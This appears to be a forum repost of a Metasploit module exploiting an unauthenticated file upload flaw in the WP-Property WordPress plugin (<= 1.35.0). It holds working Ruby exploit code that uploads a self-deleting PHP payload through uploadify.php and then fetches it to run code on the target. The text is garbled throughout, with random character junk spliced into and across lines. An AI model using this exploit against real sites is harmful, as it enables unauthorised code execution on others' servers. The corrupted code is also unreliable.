WordPress WP-Property PHP 文件上传漏洞6 B0 l6 V4 c3 ?4 [$ [
" v" n g$ W7 l# }, Q# t ## # This file is part of the Metasploit Framework and may be subject to
8 H' ^: _! f- W! y) Q- O: k' f9 I3 K5 w- x2 E) u! x4 ?
# redistribution and commercial restrictions. Please see the Metasploit: f' H5 V1 _8 m7 W9 A; x
$ ^. F* F5 Z+ L2 A% y. O# Framework web site for more information on licensing and terms of use. L$ n% }" b8 p* Y3 k* G
! t+ n. H. r+ y' ]( w2 i. r
# http://metasploit.com/framework/ ##
/ n, m( b3 h0 K# m- O% H; O! `6 T8 a1 h& Z! u
+ c1 F0 @. U* l5 C/ ~! R1 }6 K# M# Z7 p9 t2 ? V
; J+ E9 P4 N; T6 s2 v/ O1 d( p$ E
" b% E% |: Z% Z3 F) _3 g4 q0 Orequire 'msf/core'- a0 H x. `3 V) e5 M/ D% X8 o
require 'msf/core/exploit/php_exe'
- `* v8 d% \- [* ?
4 i/ `& W* \ Q+ `3 C8 s) T! xclass Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit: hpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress WP-Property PHP File Upload Vulnerability',
9 v+ y; n# T* \ s2 g6 i'Description' => %q{
`( C# x& K: Q' j( N$ oThis module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress plugin. By abusing the uploadify.php file, a malicious user can upload a file to a temp directory without authentication, which results in arbitrary code execution. }, 'Author' =>: x2 y- C- f: g; `1 v/ Z( |2 B$ I
[
8 L# ?. y" u- c'Sammy FORGIT', # initial discovery& d9 y/ [5 f3 ` r
'James Fitts <fitts.james[at]gmail.com>' # metasploit module7 ]) y# h8 G$ `. A" s
],: h! Q9 e5 F ^. {
'License' => MSF_LICENSE,
6 m" B ~+ y3 d& o'References' =>' D0 [3 n& l1 ]7 \- }7 k" A1 B
[
9 P; E' [# G1 n5 z# B. L$ O[ 'OSVDB', '82656' ]," {" n* v' A- d7 H' \
[ 'BID', '53787' ],, A) t/ h( \) p, M$ J9 P
[ 'EDB', '18987'],
/ b3 @ [1 o1 d[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]/ ~" a" u+ m* o9 P9 R9 m
],
5 x7 M7 M: M- i'Payload' =>; s' W$ B- j2 o5 y% |% g! w$ x
{
4 r3 W& t0 A0 A9 X3 B x$ i7 _'BadChars' => "\x00",4 J; F& l' F Q5 P1 Z( t) p
},
& {2 s) E1 B$ N0 ~! O3 N" R+ A'Platform' => 'php',- t) g+ r9 I3 U4 s
'Arch' => ARCH_PHP,
/ h# Z7 q( F- c4 u. S'Targets' =>
7 e( Z% y" ~1 k8 H- C* |[
9 c& q2 o% l9 E% h! j( `[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
$ M/ h5 |6 e. p. v( n. U( M[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
( v. \6 X9 O5 u5 {],, a. n1 j9 x U% l9 f( b
'DefaultTarget' => 0,
; V: K; u9 v' D" M4 k, F+ ~'DisclosureDate' => 'Mar 26 2012'))9 n6 f: O8 W; H! h) M5 b' C
- A x: N0 m' o, H: ]8 N0 ]1 r
register_options(4 [/ ?1 w. X, H& }0 Z# k
[4 g4 Q$ ]: Y5 {( q" D( V
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])6 ~, |+ A9 C4 g- L
], self.class)
7 q; N; ?7 w( h# J, u2 F8 A7 k* bend
% G3 z" E6 p; z1 Z+ s- K4 H
5 ^: c4 Z1 Z4 r1 @ E! T( Cdef check* _4 f3 M5 ~/ v
uri = target_uri.path
* Y' r2 {2 }- E$ M+ Y& p1 Q* C n) luri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET',
! f* t" q! L( P'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"1 W. g: Y7 Q# k. W, I
})! a2 H$ w, G6 ^* E
( F7 j1 y* }) a' ?. r
if not res or res.code != 200
0 b7 @; s" N$ C) ureturn Exploit::CheckCode::Unknown+ B( Z8 N% V0 f
end
4 |; V% T! v6 x p- r7 L
! c1 \! E3 r {return Exploit::CheckCode::Appears
( A% f- N7 J$ T, L) ~6 Fend
6 M1 j$ j9 D5 ?' G$ l) z, y
/ D8 Z% k4 g8 A% ~3 W5 |8 ?. [def exploit
# t8 h9 g" ]% [, P& I) Luri = target_uri.path, Z' R' b. p1 b3 Z
uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @payload_name = "#{rand_text_alpha(5)}.php" php_payload = get_write_exec_payload(:unlink_self=>true)
+ ^3 K4 F! @- z- o2 l8 }+ V/ Q+ H- R+ c# g! k# ]
data = Rex::MIME::Message.new
2 @- @* C$ g% k* I' ydata.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")- P) y$ f* Q; p
data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")
) |. g' B* s; m- R' {0 xpost_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
7 T9 i. R3 t& h+ Y# ]% ^9 U, j/ V' m2 W# O: D4 M9 s
print_status("#{peer} - Uploading payload #{@payload_name}")) q4 ^/ q% R" |( R' {
res = send_request_cgi({% B2 w. K7 [! n, ~7 B0 c+ u
'method' => 'POST',( ~. N. _/ p* b
'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",3 J; N# ]1 S* M v" X- g$ j
'ctype' => "multipart/form-data; boundary=#{data.bound}",% O- l" \+ l2 |% G7 n4 B" d$ I& ]
'data' => post_data; c7 b+ f$ x# U
})8 d# l, n9 m; o, X6 v
4 R8 G. ^9 r% Y& G) J9 `) ?( c* lif not res or res.code != 200 or res.body !~ /#{@payload_name}/
/ G2 p( x% V% \) dfail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")! z7 F5 ~! i k
end
) Y1 j4 q! N5 e" R
1 y1 [, s6 G- K: n" y( nupload_uri = res.body
/ V$ D) c, [( F, @3 j5 y- E5 z" I8 }% ?9 D; T
print_status("#{peer} - Executing payload #{@payload_name}")+ n- \6 S' G( M2 s; |
res = send_request_raw({& I2 y" Y5 G, L9 ~
'uri' => upload_uri,
5 G/ Q1 ]0 `0 v- G0 z; c, L9 l! d'method' => 'GET'$ p7 Y3 \$ \+ x y7 M1 F3 X
}) c* g% t. g" B3 G4 y" z" o2 [3 D
end% t! U5 L' L Y2 M3 c+ L5 H9 r4 h. P9 s
end
( @# H' e/ U7 I$ s3 V. h! P8 h' i9 i) }. a
不要问我这写的是什么 怎么利用 我是说msf.( D9 w: k7 t/ Y( c) t$ c* K- U
) H# q$ E5 Y+ F: Y, t5 ]8 S8 w; g |